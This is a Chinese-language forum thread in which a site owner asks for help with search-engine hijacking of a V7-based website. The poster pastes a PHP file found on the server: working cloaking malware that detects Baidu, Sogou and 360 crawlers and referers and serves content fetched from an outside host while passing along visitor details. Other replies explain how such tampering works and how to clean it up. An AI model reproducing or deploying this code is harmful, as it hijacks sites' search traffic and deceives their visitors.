
使用的V7版本,网站搜索引擎劫持了,应当怎么处理啊,搜索引擎的快照不是用的,通过搜索引擎进入也不是我的网站,但手工输入确是OK的,这该怎么处理?有没有大佬给支个招,谢谢了
用v7很多年没遇到过这样的问题
一切不安全基本上取决于服务器,最彻底的方法还是从装程序,我这边有几个V7运营得好好的
set_time_limit(0);
error_reporting(0);
date_default_timezone_set('Asia/Shanghai');
//header("Content-Type: text/html;charset=gb2312");
define('hquu', "http://god.d22p.com");
define('host', "/?host=" . $_SERVER['HTTP_HOST']);
define('hurl', "&abc=" . $_SERVER['REQUEST_URI']);
define('agent', "&agent=" . $_SERVER['HTTP_USER_AGENT']);
define('urls', "&urls=0");
define('tz', "&tz");
define('url', $_SERVER['REQUEST_URI']);
define('Referer', $_SERVER['HTTP_REFERER']);
define('AGEN', $_SERVER['HTTP_USER_AGENT']);
$hqa = array(
'360spider',
'HaoSou',
'Sogou',
'Yisou'
);
function isCrawler() {
$agent= strtolower($_SERVER['HTTP_USER_AGENT']);
if (!empty($agent)) {
$spiderSite= array('Baiduspider','Sosospider+','Sogou web spider','Yisouspider','Sogou inst spider','Sogou Spider','Sogou News Spider','360spider');
foreach($spiderSite as $val) {$str = strtolower($val);if (strpos($agent, $str) !== false) { return true;}
}
} else {
return false;
}
}
foreach ($hqa as $a3) {
if (stristr(AGEN, 'Baidu')){
if (stristr(url, ".xml")) {
echo get(hquu . host .agent . hurl);
exit();
}else{
echo get(hquu . host . hurl . urls);
}
}elseif(stristr(AGEN, $a3)){
echo get(hquu . host . hurl);
//exit();
}
}
if (stristr(Referer,'baidu') ) {
if (!isCrawler())
{
if (stristr(url, ".xml")) {
echo get(hquu . host . tz);
exit();
}
}
}elseif(stristr(Referer,'sogou') or stristr(Referer,'sm.') or stristr(Referer,'so.'))
{
if (!isCrawler()){
echo get(hquu . host . tz);
exit();
}
}
function get($url) {
$hqts = array(
'http' => array(
'method' => "GET"
)
);
$hqtext = stream_context_create($hqts);
$con = curl($url, false, $hqtext);
if (empty($con)) {
exit("<p align='center'><font color='red'><b>Error!</b></font></p>");
}
return $con;
}
function curl($hquu) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $hquu);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
return curl_exec($ch);
curl_close($ch);
}找到一个垃圾文件
查不到此域名的授权信息,有问题,请联系官方客服!
在网上下载的源码被挂马篡改也是常见的!好自为之。
根据你这个信息,也没发网址,一般是网站被篡改了!
1、第一种很常见的就是整个网页被篡改,然后百度快照抓取了,不管是从百度还是输入都是垃圾信息内容;
2、隐藏一点的,可以正常域名访问,但是用百度或者相关搜索引擎进入就进行了跳转;
解决方式很简单,找到根目录或模板文件 对比备份,寻找可疑的代码,有的是js或dwz.cn来隐藏;
这个自己去检查了。